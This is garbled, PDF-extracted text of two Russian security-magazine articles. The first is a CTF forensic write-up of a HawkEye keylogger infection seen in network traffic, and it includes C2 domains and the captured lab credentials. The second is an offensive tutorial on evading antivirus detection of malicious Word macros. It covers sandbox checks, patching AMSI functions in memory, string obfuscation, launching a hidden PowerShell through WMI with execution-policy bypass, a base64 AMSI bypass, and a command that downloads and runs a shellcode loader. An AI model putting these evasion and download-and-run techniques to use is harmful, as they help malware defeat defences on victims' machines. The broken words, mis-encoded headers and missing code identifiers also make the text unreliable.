3.  — деком пилятор ском пилиро ван ных скрип тов AutoIt3.Exe2Aut

4.  — редак тор ресур сов исполня емых фай лов.ResourceHacker

5.  — прог рамма для опре деле ния типов фай лов.DIE

ÀÍÀËÈÇ ÑÅÒÅÂÎÃÎ ÒÐÀÔÈÊÀ

Пос ле рас паков ки архи ва с задани ем мы получим файл сетево го тра фика
с рас ширени ем .pcap. Откро ем его в  и уви дим ста тис тичес кую
информа цию о фай ле зах вата. Для это го перехо ди на вклад ку «Ста тис тика →
Свой ства фай ла Зах вата».

Wireshark

Ста тис тика фай ла зах вата

Вре мя зах вата пер вого пакета — , вре мя зах вата

пос ледне го пакета — , общее вре мя записи сетево го
тра фика — . Количес тво пакетов в фай ле зах вата — 4003.

2019-04-10 20:37:07 UTC
2019-04-11 00:40:48

01:03:41
По лучим ста тис тику о конеч ных точ ках, которые при сутс тву ют в сетевом

тра фике. Заходим на вклад ку «Ста тис тика → Конеч ные точ ки».

Спи сок конеч ных точек на уров не про токо ла Ethernet

Спи сок конеч ные точек на уров не IPv4

Ак тивный компь ютер име ет MAC-адрес  и IP-адрес 

. В фай ле зах вата учас тву ет три компь юте ра орга низа ции с мас кой 24.

00:08:02:1c:47:ae 10.4.
10.132

Оп ределим про изво дите ля сетевой кар ты по MAC-адре су, для это го вос- 
поль зуем ся сер висом . Про изво дитель сетевой кар ты —

Hewlett Packard.

networkcenter.info

Да лее заг рузим файл в ути литу  и получим информа цию
о хос те бух галте ра. Вво дим IP  и имя компь юте ра 

.

NetworkMiner

10.4.10.132 BEIJING-5CD1-
PC

Ин форма ция о ском про мети рован ном хос те

Пос коль ку по сце нарию бух галтер перешел по ссыл ке и заг рузил исполня емый
файл, отфиль тру ем сетевой тра фик по про токо лу DNS и най дем все зап росы
доменов.

Ин форма ция о зап рашива емых доменах

В пакете 204 обна ружен зап рос к DNS-сер веру орга низа ции с IP-адре сом 

. Получен адрес домен ного име ни . Про веря- 
ем этот домен на  и обна ружи ваем, что пять анти виру сов счи тают его
вре донос ным. Получа ется, что ком про мета ция сети про изош ла в 

.

10.
4.10.4 proforma-invoices.com

VirusTotal
20:37:53 

10.04.2019
В 206-м пакете DNS-сер вер разыме новал домен ное имя и получил IP-

адрес вре донос ного домена , Фран ция.217.182.138.150
Смот рим даль нейшие вза имо дей ствия с доменом 
. Начиная с 207-го пакета осу щест влен HTTP-зап рос.

proforma-invoices.
com

Вза имо дей ствие по про токо лу HTTP

Жмем пра вой кноп кой мыши на 207-й пакет и перехо дим во вклад ку «Сле- 
довать → Поток TCP». Получа ем соб ранную сес сию.

Сес сия HTTP

Поль зователь перешел по ссыл ке 
 и заг рузил исполня емый файл

. Извле чем этот файл и про ведем неболь шое иссле- 

дова ние. Для это го наж мем на вклад ку «Файл → Экспор тировать объ екты →
HTTP». Как вид но из заголов ка выше, в поле  ука зана опе раци- 
онная сис тема ском про мети рован ной машины — Windows NT 6.1. На вре- 
донос ном сер вере запущен веб-сер вер LiteSpeed.

http://proforma-invoices.com/
proforma/tkraw_Protected99.exe
tkraw_Protected99.exe

User-Agent

Из вле чение исполня емо го фай ла

По лучим пер вичную информа цию о фай ле. Его MD5-сум ма:

71826ba081e303866ce2a2534491a2f7 

Заг рузим его в ути литу DIE.

Ин форма цию об исполня емом фай ле

Файл  написан на C/C++ и содер жит в себе скрипт

. Соб ран для 32-бит ных сис тем.

tkraw_Protected99.exe
AutoIt

Заг рузим сум му MD5 на  и най дем информа цию о вре донос ном
фай ле.

VirusTotal

Ин форма ция о вре доно се

Ан тивирус ное средс тво Malwarebytes клас сифици рует вре донос
как .Spyware.HawkEyeKeyLogger

Вос поль зуем ся ути литой  и най дем в ресур сах скрипт

AutoIt.

ResourceHacker

Со дер жимое ресур са RCData

За киды ваем файл в ути литу  и деком пилиру ем вре донос ный скрипт.Exe2Auth

Про цесс деком пиляции 64-раз рядный исполня- 
емо го фай ла со скрип том AutoIt опи сан 

.
в бло ге

Hexacorn

Так узна ем, что перед нами скрипт, ском пилиро ван ный при помощи AutoIt 3,
который исполь зует ся как заг рузчик основно го модуля. Код силь но обфусци- 
рован.

Учас ток кода

Пос ле пре обра зова ния строк кода вид но, что про исхо дит изме нение
шелл-кода. Новый код пос тупа ет в фун кцию , которая внед ряет его

в исполня емый файл . Основная задача вре доно са — это сбор

дан ных о сис теме и кра жа аутен тифика цион ной информа ции из бра узе ров.

RunPE
RegAsm.exe

Про дол жаем ана лизи ровать сетевой тра фик. Начиная с пакета 3159 уста- 
нав лива ется HTTP-соеди нение с сер вером  IP-

адрес — .

bot.whatismyipaddress.com
66.171.248.178

Со еди нение с управля ющим сер вером

Та ким обра зом вре донос узна ет внеш ний IP-адрес ата куемой орга низа ции.

По луче ние белого адре са орга низа ции

Пуб личный адрес ском про мети рован ной сети орга низа ции — 173.66.146.112,
рас положен в США.

Пос ле сбо ра информа ции о сис теме начина ется про цесс эксфиль тра ции
дан ных на C&C. Для это го зло умыш ленни ки отправ ляли дан ные на поч товый
сер вер.

В сетевом тра фике этот про цесс начина ется с пакета 3171. Пос ле разыме- 
нова ния домен ного име ни управля юще го сер вера  (IP-

адрес ) уста нав лива ется сес сия SMTP.

macwinlogistics.in
23.229.162.69

Се тевое вза имо дей ствие по про токо лу SMTP

Что бы пос мотреть сес сию, наж мем «Сле довать → Поток TCP».

Эк сфиль тра ция дан ных

Вре донос про шел про цесс аутен тифика ции на поч товом сер вере Exim 4.91,
логин , пароль . Про бива ем домен
при помощи .

sales.del@macwinlogistics.in Sales@23
Whois

Ин форма ция о домене macwinlogistics.in

Да та регис тра ции домена — 2014-02-08.
Выг рузим сооб щения и раз берем, какую информа цию получил зло умыш- 

ленник. Перехо дим на вклад ку «Файл → Экспор тировать объ екты → IMF» и сох- 
раня ем все обна ружен ные сооб щения .eml. Пре обра зуем все стро ки заголов ка
и содер жимого сооб щения из Base64.

Со дер жимое заголов ка сооб щения

Как вид но из заголов ка, в поле  содер жится информа ция о модуле

Reborn v9, который извлек дан ные и имя поль зовате ля ском про мети рован ного
компь юте ра, а так же пуб личный адрес орга низа ции.

Subject

В теле сооб щения содер жатся извле чен ные из бра узе ров дан ные.

Ук раден ные дан ные

Зло умыш ленни ку уда лось украсть аутен тифика цион ные дан ные 

 от акка унта Bank of America.

roman.
mcguire:P@ssw0rd$

Вре доно су уда лось отпра вить нес коль ко таких сооб щений. Отфиль тру ем
сетевой тра фик по про токо лу SMTP и най дем коман ду EHLO. Стро ка филь тра:

.smtp.req.command == "EHLO"

Ко личес тво отправ ленных сооб щений

Ви дим, что вре донос отпра вил шесть сооб щений с интерва лом в 10 минут.

ÂÛÂÎÄÛ

Мы про ана лизи рова ли тра фик и вос ста нови ли ход инци ден та. Вот, что мы узна- 
ли:

В 20:37:53 10.04.2019 бух галтер перешел по ссыл ке на вре донос ный
исполня емый файл.

•

За тем запус тил исполня емый файл .• tkraw_Protected99.exe
Ос новная фун кция вре доно са — кра жа кон фиден циаль ной информа ции.•
Соб ранные дан ные переда вались зло умыш ленни ку по элек трон ной поч те
на сер вер .

•
macwinlogistics.in

Для под клю чения к поч товому сер веру исполь зованы логин 
 и пароль .

• sales.
del@macwinlogistics.in Sales@23
В сооб щении переда вались логин и пароль для дос тупа к Bank of America
и учет ные дан ные поч тового сер вера орга низа ции.

•

На этом рас сле дова ние мож но счи тать завер шенным.

mailto:grigadan454@gmail.com
https://cyberdefenders.org/blueteam-ctf-challenges/91
https://cyberdefenders.org/
https://cyberdefenders.org/blueteam-ctf-challenges/enroll/91
https://www.wireshark.org/
https://www.netresec.com/?page=NetworkMiner
http://domoticx.com/autoit3-decompiler-exe2aut/
http://www.angusj.com/resourcehacker/
https://github.com/horsicq/Detect-It-Easy
https://www.networkcenter.info/inform/mac?addr=
https://www.virustotal.com/gui/domain/proforma-invoices.com/detection
https://www.autoitscript.com/site/
https://www.virustotal.com/gui/file/62099532750dad1054b127689680c38590033fa0bdfa4fb40c7b4dcb2607fb11
https://www.hexacorn.com/blog/2015/01/08/decompiling-compiled-autoit-scripts-64-bit-take-two/
https://www.whois.com/whois/macwinlogistics.in


ОБХОДИМ ДЕТЕКТ
ÂÐÅÄÎÍÎÑÍÛÕ

ÌÀÊÐÎÑÎÂ WORD

ВЗЛОМ

Ка залось бы, мак ровиру сы дав но и без воз врат но ушли
в прош лое. Уж что-что, а вре донос ные мак росы в докумен- 
тах Office сов ремен ные анти вирус ные прог раммы дол жны
обна ружи вать лег ко и неп ринуж денно. Имен но так и обсто- 
ят дела, если мак рос, конеч но, не обфусци рован.
Эффектив ными при ема ми обхо да анти вирус ного детек та
злов редных VBA-мак росов поделил ся в сво ей пуб ликации
незави симый иссле дова тель Брен дан Ортиз, а мы рас ска- 
жем о его изыс кани ях тебе.

Го товясь к сер тифика ции OSEP, Брен дан Ортиз навер няка выпил вед ро кофе
и перело патил гигабай ты тех ничес кой докумен тации. Нас чет кофе мы не уве- 
рены, а вот то, что резуль татом этой под готов ки ста ло 

, не под лежит никако му сом нению. Брен дан убе дил ся, что
на сай те  (аль тер натива ) ори гиналь ный файл обна- 
ружи вал ся как минимум 7 анти вирус ными движ ками из 20. Тог да он всерь ез
взял ся за обфуска цию сво их художеств и смог в ито ге сбить показа тель детек- 
тирова ния до 2 из 20. Пос коль ку анти вирус ные базы пери оди чес ки обновля- 
ются, со вре менем этот параметр вырос с 2 до 5. Но все рав но — резуль тат
получил ся впе чат ляющий.

мас штаб ное и под- 
робное иссле дова ние спо собов зак ладки VBA-мак росов в самые обыч ные
докумен ты Word

antiscan.me virustotal.com

Вся информа ция в этой статье при водит ся
исклю читель но в озна коми тель ных целях, автор
и редак ция не несут никакой ответс твен ности
за пос ледс твия исполь зования этой пуб ликации.
Пре дуп режда ем, что при выпол нении мак росов
в докумен тах Microsoft на тво ем устрой стве
могут быть спро воци рова ны нежела тель ные дей- 
ствия.

ÏÐÎÂÅÐÊÀ ÝÌÓËßÖÈÈ

Мно гие анти виру сы, исполь зующие для детек тирова ния вре доно сов эвристи- 
ку, запус кают VBA-скрип ты в «песоч нице» с целью убе дить ся в их безопас- 
ности. Поэто му нас тоящие вирусо писа тели в пер вую оче редь про веря ют,
работа ет ли их сце нарий в эму лиро ван ной сре де, и, если так, оста нав лива ют
выпол нение вре донос ного пей лоада, что бы анти вирус не забил тре вогу.

Брен дан Ортиз пред ложил три прос тых тес та для опре деле ния эму лято ра.
Эти тес ты рас полага ются в самом начале соз данно го им мак роса и не поз- 
воля ют ему выпол нить никаких злов редных дей ствий, если обна ружит ся, что
скрипт запущен в изо лиро ван ной сре де.

Пер вая про вер ка

Пер вый тест иссле дова тель наз вал Document Name. Во мно гих слу чаях, ког да
анти вирус ный дви жок эму лиру ет выпол нение мак роса VBA, он меня ет имя
докумен та либо добав ляет к это му име ни некото рое чис ло, что бы отсле дить
и пре дот вра тить мно гок ратный запуск скрип та. Этот тест про веря ет, сов пада ет
ли с име нем ори гиналь ного докумен та имя того докумен та, в котором выпол- 
няет ся полез ная наг рузка.

Что бы зашиф ровать ста тичес кую стро ку, в которой хра нит ся имя докумен та,
исполь зует ся сце нарий PowerShell, а затем во вре мя выпол нения скрип та
для ее рас шифров ки вызыва ется собс твен ная фун кция . Если имя активно- 
го докумен та не сов пада ет с ука зан ным име нем, про вер ка счи тает ся не прой- 
ден ной и выпол няет ся выход из под прог раммы.

Joy

На вто ром эта пе про веря ется путь. Если мы заранее зна ем, из какой пап ки
будет открыт документ с вре донос ным сце нари ем (нап ример, из пап ки «Заг- 
рузки» поль зовате ля Windows), то мы можем срав нить ее с текущим путем.
Несов падение пути ука жет на то, что скрипт, ско рее все го, работа ет в анти- 
вирус ном движ ке. В этом слу чае мы так же выходим из под прог раммы.

На конец, прос той тест на вре мя. Ког да скрипт выпол няет ся в эму лято ре
анти виру са, тот обыч но про пус кает фраг менты кода, в которых реали зова на
пауза или «засыпа ние», ина че любящие «пос пать» мак ровиру сы поп росту
завесят дви жок. Поэто му Брен дан пред ложил сле дующую нехит рую про вер ку:
фик сиру ем акту аль ное вре мя, «спим» две секун ды, а затем про сыпа емся
и вновь фик сиру ем вре мя. Если раз ница меж ду дву мя эти ми зна чени ями сос- 
тавит мень ше двух секунд, ско рее все го, мы в анти вирус ном движ ке. В этом
слу чае под прог рамма так же завер шает ся.

Ес ли все три про вер ки завер шились пол ным и безого вороч ным успе хом,
мак рос перехо дит к выпол нению полез ной наг рузки, которая выг лядит при- 
мер но так, как показа но на сле дующем рисун ке.

По лез ная наг рузка

ÍÅÑÊÎËÜÊÎ ÑËÎÂ ÎÁ AMSI

В ходе сво их экспе римен тов Брен дан Ортиз выяс нил, что понача лу его вре- 
донос ный мак рос успешно детек тировал ся эвристи кой боль шинс тва анти- 
вирус ных движ ков. Кро ме того, нес мотря на мно гочис ленные попыт ки иссле- 
дова теля запус тить мак рос при вклю чен ной защите Windows Defender, сис тема
уби вала скрипт. По какой же при чине мак рос помечал ся как вре донос ный? Все
дело в том, что интерфейс  заг лядыва ет
в сце нарий VBA и кон тро лиру ет его поведе ние.

Anti-Malware Scan Interface (AMSI)

Прин цип работы AMSI

AMSI — это раз работан ный Microsoft интерфейс, который прис пособ лен
к работе с любыми анти виру сами и поз воля ет им зап рашивать информа цию
о про цес сах, про исхо дящих во вре мя исполне ния прог рамм. Это зна чит, что
анти виру су переда ются даже бес фай ловые угро зы, нап ример коман ды
PowerShell, если анти вирус вызыва ет AMSI. Еще это озна чает, что ты можешь
как угод но обфусци ровать полез ную наг рузку, но, как толь ко она деоб фусци- 
рует ся во вре мя выпол нения, AMSI нач нет отсле живать поведе ние кода.

Ког да поль зователь пыта ется выпол нить коман ду в PowerShell, AMSI сна- 
чала заг ружа ет, а затем про веря ет эту коман ду. Если обна ружи вают ся
какие-либо эле мен ты, которые обыч но исполь зуют ся для вре донос ных дей- 
ствий, в час тнос ти вызовы API Win32 или COM (то есть сра баты вают заложен- 
ные в AMSI «триг геры»), то AMSI при оста нав лива ет подоз ритель ный про цесс.

На кар тинке ниже показа но, как VBA интегри рует ся с AMSI. С уче том все го
это го иссле дова тель стал искать спо собы усколь знуть от прис таль ного вни- 
мания AMSI при выпол нении скрип тов VBA и PowerShell.

Ин тегра ция AMSI с JavaScript/VBA

ÈÌÏÎÐÒ WINDOWS API Â VBA

На чать Брен дан решил с импорта фун кций. Что бы про пат чить AMSI в памяти,
необ ходим дос туп к некото рым низ коуров невым биб лиоте кам и фун кци ям
Windows. В VBA раз решено импорти ровать API Windows для исполь зования
в мак росе. Такая воз можность радикаль но рас ширя ет фун кци ональ ность VBA.

Зло умыш ленник, вызывая опре делен ные API Windows из VBA, C#,
PowerShell и т. д., дол жен хорошень ко в них разоб рать ся, что бы все сде лать
пра виль но. Дело в том, что натив ные фун кции для этих целей в соот ветс тву- 
ющих язы ках отсутс тву ют. Но, воору жив шись некото рыми «под готови тель ными
зна ниями», запол нить эти про белы доволь но лег ко. Ког да ты зна ешь, какие API
Windows хочешь импорти ровать, для начала обя затель но погуг ли соот ветс тву- 
ющую докумен тацию Microsoft. Там ты най дешь под робную информа цию
об инте ресу ющей тебя фун кции, в час тнос ти каковы ее воз вра щаемые зна- 
чения, какие парамет ры она при нима ет, в какой DLL находит ся инте ресу ющий
тебя API. Так ты получишь по-нас тояще му хорошее пред став ление о событи ях,
про исхо дящих «под капотом» скрип та.

Брен дан исполь зовал в сво ем мак росе объ явле ние PInvoke (Platform-Invoke,
«Плат формен ный вызов»). PInvoke — это кол лекция опре деле ний для вызова
натив ных фун кций API Windows из язы ков прог рамми рова ния, в которых может
отсутс тво вать такая низ коуров невая фун кци ональ ность. Осо бен ности работы
это го инс тру мен та под робно опи саны . Там мож но най ти дек- 
ларации для импорта API в раз личные сце нарии на все слу чаи жиз ни.

вот на этом сай те

ÎÁÕÎÄ AMSI

Им порт необ ходимых API Windows в VBA — это толь ко пер вый шаг. Что бы при- 
думан ный Брен даном Орти зом скрипт работал, нуж но обой ти AMSI. Для это го
иссле дова тель решил про пат чить AMSI пря мо в памяти. А кон крет нее — про- 
пат чить пер вые нес коль ко бай тов в фун кци ях 

и  из биб лиоте ки , заг ружа емой из запущен ного про- 
цес са. Эти фун кции, если верить докумен тации Microsoft, отве чают за ска ниро- 
вание содер жимого буфера в поис ках харак терных для мал вари строк.

AmsiScanBuffer
AmsiScanString Amsi.dll

Патч AMSI

Сна чала объ явля ется спи сок ука зате лей перемен ных для хра нения адре сов
фун кций. Затем в перемен ной  сох раня ется адрес из биб лиоте ки 

, это дела ется при помощи нап равля емо го к API Windows вызова .

Все стро ки в этом пат че памяти AMSI дол жны быть обфусци рова ны. На пер вом
эта пе автор скрип та исполь зовал для это го фун кцию VBA , что бы скрыть

некото рые харак терные стро ки вро де  и .

lib amsi.
dll LoadLib

Chr()
amsi.dLl AmsiUacInitialize

За тем нуж но най ти, где лежит фун кция . Для это го Брен- 
дан исполь зовал фун кцию Windows API , пере име нован ную

в . Пос коль ку AMSI еще не про пат чен, а вре доно сы час то пыта ются

отклю чить его, нацели ваясь на фун кции  и ,
автор скрип та вос поль зовал ся отно ситель ной адре саци ей, начиная с фун кции

.

AmsiScanString
GetProcAddress

GetPrAddr
AmsiScanString AmsiScanBuffer

AmsiUacInitialize
Для начала Брен дан вычел 96 из адре са фун кции 

и сох ранил резуль тат в перемен ной . Затем выз вал 
со стро ками-аргу мен тами, пер вая из которых — это адрес , а вто- 

рая — стро ка , к которой при мене на обфуска ция. Зачем

вычитать 96? Все очень прос то: Брен дан про шел ся по про цес су Microsoft Word
отладчи ком WinDbg и выяс нил, что адрес фун кции  отсто ит

на 96 бай тов от фун кции .

AmsiUacInitialize
func_addr GetPrAddr

amsi.dll
AmsiUacInitialize

AmsiScanString
AmsiUacInitialize

Ес ли прос мотреть в WinDbg содер жимое заг ружен ной в память биб лиоте ки
, начиная с фун кции , рас положен ной по адре су

 в шес тнад цатерич ной сис теме (256 байт в десятич ной), то мож но уви- 

деть, как выг лядит вер хняя часть вывода.

AMSI.dll AmsiScanBuffer
0x100

Со дер жимое памяти биб лиоте ки AMSI.dll

Стрел ка ука зыва ет на пер вые опко ды в фун кции , а сле ва

показан ассо цииро ван ный с этой инс трук цией адрес в памяти:
. Сле дова тель но, фун кция  начина ется

имен но в этой точ ке. Изу чив вывод далее, мож но най ти сле дующую фун- 
кцию —  — и выяс нить ее адрес: .

AmsiScanBuffer

0x00007ffa054f35e0 AmsiScanBuffer

AmsiScanString 0x00007ffa054f36e0

Ад рес фун кции AmsiScanString

Да лее Брен дан отыс кал в выводе отладчи ка зна чение перемен ной ,
которую заг рузил в свой мак рос VBA при помощи фун кции . В этой

перемен ной находит ся адрес фун кции :

.

func_addr
GetPrAddr

AmsiUacInitialize
0x00007ffa054f3740

По иск адре са фун кции AmsiUacInitialize

Все, что оста лось сде лать авто ру скрип та, — это прос то вычесть из адре са
фун кции  адре са фун кций 

и . Так будут получе ны отно ситель ные адре са пос ледних.

AmsiUacInitialize AmsiScanString
AmsiScanBuffer

0x054f3740 (AmsiUacInitialize Start Address) - 0x054f36e0 (
AmsiScanString Start Address) = 0x60 = 96 bytes 
0x054f3740 (AmsiUacInitialize Start Address) - 0x54f35e0 (
AmsiScanBuffer Start Address) = 0x160 = 352 bytes 

Сле дующая часть соз данно го Брен даном Орти зом мак роса меня ет защит ные
механиз мы памяти и порядок дос тупа к ней целевых фун кций. Это дела ется
при помощи API-фун кции , которую автор пере име новал

в .

VirtualProtect
VirtPro

Ис поль зование фун кции VirtualProtect

Фун кция  меня ет харак терис тики защиты в области вир туаль- 

ной памяти, которая отно сит ся к адресно му прос транс тву вызыва юще го про- 
цес са. С ее помощью мож но изме нить показа тели защиты для кон крет ного
учас тка памяти (с атри бута ми «толь ко для чте ния» или «для исполне ния»),
в резуль тате чего появ ляет ся воз можность редак тировать рас положен ные там
инс трук ции.

VirtualProtect

 при нима ет сле дующие парамет ры: адрес того мес та,

которое нуж но отре дак тировать (это адрес инте ресу ющей нас фун кции), раз- 
мер области памяти, которую тре бует ся редак тировать (32 бай та от начала
адре са), уров ни защиты памяти, которые тре бует ся обес печить (переда ется
в виде зна чения, которое будет обра баты вать ся при помощи побито вой опе- 
рации ). Наконец, в сце нарии содер жится перемен ная .

Фун кция сох раня ет в эту перемен ную ста рое зна чение парамет ров защиты
памяти — для пос леду юще го исполь зования.

VirtualProtect

AND flOldProtection

По лучив дос туп к чте нию и записи тех областей памяти, что пред назна чены
толь ко для записи, Брен дан перешел непос редс твен но к про пат чиванию AMSI.
Для это го он исполь зовал WinAPI-фун кцию . Такие фун кции,

как , час то исполь зуют ся вре доно сами, поэто му лег ко обна- 

ружи вают ся эвристи кой анти виру сов. А вот  — не самый час- 
тотный вари ант, из-за чего ее могут и не сэмули ровать движ ки, работа которых
осно вана на эвристи ке. Да и при ста тичес ком ана лизе анти виру сы далеко
не всег да обра щают на нее вни мание. Брен дан пере име новал эту фун кцию
в .

RtlFillMemory
RtlMoveMemory

RtlFillMemory

patcher

Ис поль зование фун кции RtlFillMemory

В скрип те выпол няет ся вызов фун кции  по псев дониму

, ей переда ются адре са фун кций  и .
Затем нуж но ука зать, сколь ко бай тов тре бует ся запол нить, и, наконец,
передать шес тнад цатерич ное зна чение кода опе рации, которое тре бует ся туда
добавить:  — это код , он ничего не дела ет. Затем выпол няет ся то же
дей ствие, но с уве личе нием адре са на 1, при этом фун кции переда ется код
опе рации , который равен .

RtlFillMemory
patcher AmsiScanString AmsiScanBuffer

0x90 NOP

return 0xc3
В резуль тате в начале фун кции  будет пос тавлен неопе- 

раци онный код , а пос ле него — код воз вра та , и эта фун кция прос то
завер шится сра зу пос ле того, как будет выз вана, что поз волит обой ти AMSI
в VBA. Вот как выг лядит выпол нение фун кции  пос ле при- 

мене ния пат ча в отладчи ке WinDbg.

AmsiScanString
0x90 0xC3

AmsiScanString

Ре зуль тат пат ча

Все, что оста ется, — пов торить весь про цесс для фун кции ,

сме щение для которой уже извес тно. Тут сто ит отме тить, что есть и более
изощ ренные спо собы сде лать это, нап ример динами чес ки искать началь ные
бай ты каж дой фун кции, как толь ко адрес  будет заг ружен в память.

Кро ме того, есть некото рые отли чия в про цес се пат ча биб лиоте ки в 32-раз- 
рядной и 64-раз рядной вер сиях Word.

AmsiScanBuffer

Amsi.dll

На некото рых сай тах мож но встре тить опи сания спо собов обхо да AMSI
на VBA с исполь зовани ем совер шенно иных, аль тер натив ных методов, не тре- 
бующих вза имо дей ствия с API Windows. Прав да, некото рые из них тре буют
записы вать на диск фай лы, и с этим мож но влип нуть. При меры на эту тему
мож но най ти в сле дующем .Git-репози тории

Продолжение статьи →

https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs
http://antiscan.me/
http://virustotal.com/
https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
https://pinvoke.net/
https://github.com/outflanknl/Scripts/blob/master/AMSIbypasses.vba


ОБХОДИМ ДЕТЕКТ ÂÐÅÄÎÍÎÑÍÛÕ
ÌÀÊÐÎÑÎÂ WORD

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÎÁÔÓÑÊÀÖÈß ÑÒÐÎÊ

Пос коль ку соз данный Брен даном Орти зом VBA-скрипт исполь зует WMI-объ ект
для порож дения про цес са PowerShell, он неиз бежно прив лечет повышен ное
вни мание любого анти вирус ного движ ка. Наибо лее оче вид ным решени ем этой
проб лемы явля ется шиф рование ста тичес ких строк внут ри мак роса.

Нап ример, при соз дании объ екта WMI исполь зуют ся такие стро ки,
как , ,  и им подоб ные.
При ста тичес ком ска ниро вании мак роса эти стро ки будут иде аль ными
мишеня ми для анти виру са, он прос то неиз бежно пометит их как вре донос ные.
Брен дан исполь зовал сле дующий метод обфуска ции.

winmgmts: Win32_ProcessStartup Win32_Process

Об фуска ция строк

Он объ явил перемен ную, в которой будут сох ранять ся ста тичес кие стро ки,
при сутс тву ющие в мак росе VBA. Затем он объ явил выход ную перемен ную,
в которой будет содер жать ся зашиф рован ная стро ка. Пос ле это го он пре обра- 
зовал полез ную наг рузку из стро ковой перемен ной в сим воль ный мас сив.
Затем десятич ное зна чение каж дого сим вола сум миру ется со зна чени ем 26.
Далее он забил сим вол допол нитель ными нулями, что бы поз же, в про цес се
деоб фуска ции VBA, получи лись пред ска зуемые 3-сим воль ные зна чения. Если
дли на вывода сос тавля ет один сим вол, то к нему добав ляет ся два нуля, если
дли на — два сим вола, добав ляет ся один ноль, а если три сим вола, ничего
не добав ляет ся.

Та ким обра зом фор миру ется зашиф рован ная выход ная стро ка, которая
отправ ляет ся в буфер обме на через кон вей ер. Пос ле запус ка скрип та в буфер
обме на помеща ется стро ка при мер но сле дующе го содер жания.

Ре зуль тат запус ка скрип та

Де обфусци рующий мак рос в VBA выг лядит при мер но так.

Де обфусци рующий мак рос

В скрип те соз дают ся под прог раммы со слу чай ными име нами, которые
не выдадут анти вирус ному ска неру, что про цеду ра может быть вре донос ной,
а так же запута ют любого ана лити ка, которо му попадет в руки такой мак рос.
В VBA под прог рамма вызыва ется при помощи инс трук ции, которая име ет при- 
мер но сле дующий вид.

Вы зов под прог раммы

Сна чала зашиф рован ная полез ная наг рузка пос тупа ет в под прог рамму 

и запус кает цикл Do While. Затем она отправ ляет ся в под прог рамму ,
извле кающую пер вые три чис ла (вот зачем понадо билось запол нение нулями),
пос ле чего переда ет эти сим волы фун кции . Она выч тет 26 из трех сим- 

волов, что бы получить кон крет ное дешиф рован ное чис ло. Это чис ло явля ется
ASCII-экви вален том сим вола и сох раня ется в перемен ной .

Joy
Man

bread

green
Да лее вся зашиф рован ная полез ная наг рузка отправ ляет ся фун кции ,

которая уда ляет из нее пер вые три сим вола и сох раня ет их обратно в перемен- 
ную . Затем про цесс пов торя ется до тех пор, пока вся полез ная наг рузка

не редуци рует ся до нуля.

rand

paper

На конец, дешиф рован ная полез ная наг рузка воз вра щает ся вызыва ющей
про цеду ре при помощи инс трук ции .Joy = green

ÂÛÏÎËÍÅÍÈÅ POWERSHELL ÏÐÈ ÏÎÌÎÙÈ WMI

Да лее необ ходимо запус тить экзем пляр про цес са PowerShell при помощи WMI.
Для это го соз дает ся объ ект WMI пос редс твом вызова фун кции VBA 
с зашиф рован ной стро кой , резуль тат сох раня ется в перемен ной

.

GetObject
winmgmts:

ObjWMIService
Пос ле это го вызыва ется фун кция  из объ екта WMI Service с зашиф- 

рован ной вер сией стро ки  и сох раня ется в перемен ную

. Это поз воля ет задать парамет ры запус ка для соз дава емо го

скрип том про цес са PowerShell. Сле дующие дей ствия нап равле ны на то, что бы
спря тать окно PowerShell (для это го зна чение перемен ной 

 уста нав лива ется в 0) — поль зователь даже не узна ет, что

в фоновом режиме выпол няет ся какой-то скрипт.

Get
Win32_ProcessStartup

objStartup

objConfig.
showWindow

Соз данно му про цес су переда ются заранее сфор мирован ные парамет ры
и нас трой ки в виде нес коль ких сцеп ленных строк. Весь ход соз дания объ екта
WMIObject выг лядит при мер но так.

Вы пол нение PowerShell при помощи WMI

ÏÎËÅÇÍÀß ÍÀÃÐÓÇÊÀ POWERSHELL

Преж де чем запус тить вре донос ную коман ду PowerShell, необ ходимо отклю- 
чить AMSI. Пос коль ку инстанс PowerShell порож дает ся в отдель ном про цес се,
здесь воз ника ет заг воз дка с еще одним слу чаем интегра ции AMSI, который
при дет ся обой ти преж де, чем скрипт нач нет какую-либо вре донос ную
активность.

Ра бота мак роса начина ется с отклю чения AMSI в VBA, что бы во вре мя
исполне ния сис тема не помети ла содер жимое мак роса как вре донос ное.

Для это го объ явля ются три раз ные стро ки — ,  и , а затем им

переда ется в качес тве зна чения полез ная наг рузка, которую нуж но прог нать
через объ ект WMI (про цесс соз дания это го объ екта был опи сан выше).
Это сде лано ради удо бочи таемос ти и при год ности к отладке: раз делив полез- 
ную наг рузку на фраг менты, мож но выявить, где имен но она прек раща ет
выпол нять ся.

str1 str2 str3

Пер вая стро ка ( ) получа ет в качес тве наг рузки зашиф рован ную вер сию

кода:

str1

Powershell.exe -ep bypass -nop -c 

Ес ли не уда ется соз дать про цесс PowerShell при выпол нении мак роса, то уже
извес тно, что проб лема зак люча ется в пер вом зашиф рован ном фраг менте.

Вто рая стро ка ( ) получа ет в качес тве наг рузки сле дующий зашиф- 

рован ный код:

str2

"[System.text.encoding]::unicode.GetString([System.Convert]::
Frombase64String('JABhACAAPQAgAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwA')) |iex; 

Эта стро ка — зашиф рован ный обход AMSI. Шиф рование выпол нено по осно- 
ванию 64, так как при перево де с VBA на PowerShell могут воз никнуть проб- 
лемы при переда че спе циаль ных сим волов. В декоди рован ном виде обход
укла дыва ется в одну стро ку, а в нес верну том выг лядит при мер но так.

Код обхо да AMSI — иллюс тра ция с сай та depthsecurity.com

Ес ли будет получе но уве дом ление Microsoft Defender о бло киров ке скрип та
на дан ном эта пе, ста нет оче вид но, что обход не удал ся. Если не удас тся уста- 
новить соеди нение с веб-сер вером для ска чива ния полез ной наг рузки, но сам
скрипт PowerShell запус тится успешно, это так же будет озна чать, что проб лема
воз никла имен но здесь.

Третья стро ка ( ) получа ет в качес тве наг рузки такой код:str3

  iex ((new-object net.webclient).downloadString('http:///
sliver-sc-runner.ps1'))"

Так извле кает ся пер вая часть полез ной наг рузки, заг рузчик шелл-кода,
который будет заг ружать байт-код со ста дии 2 и выпол нять его непос редс- 
твен но в памяти.

ÇÀÃÐÓÇ×ÈÊ ØÅËË-ÊÎÄÀ

Пос ле запус ка из PowerShell скрипт ска чива ет сге нери рован ный шелл-код,
а затем, вос поль зовав шись реф лекси ей, заг ружа ет фун кции Windows API, экви- 
вален тные ,  и .VirtualAlloc CreateThread WaitForSingleObject

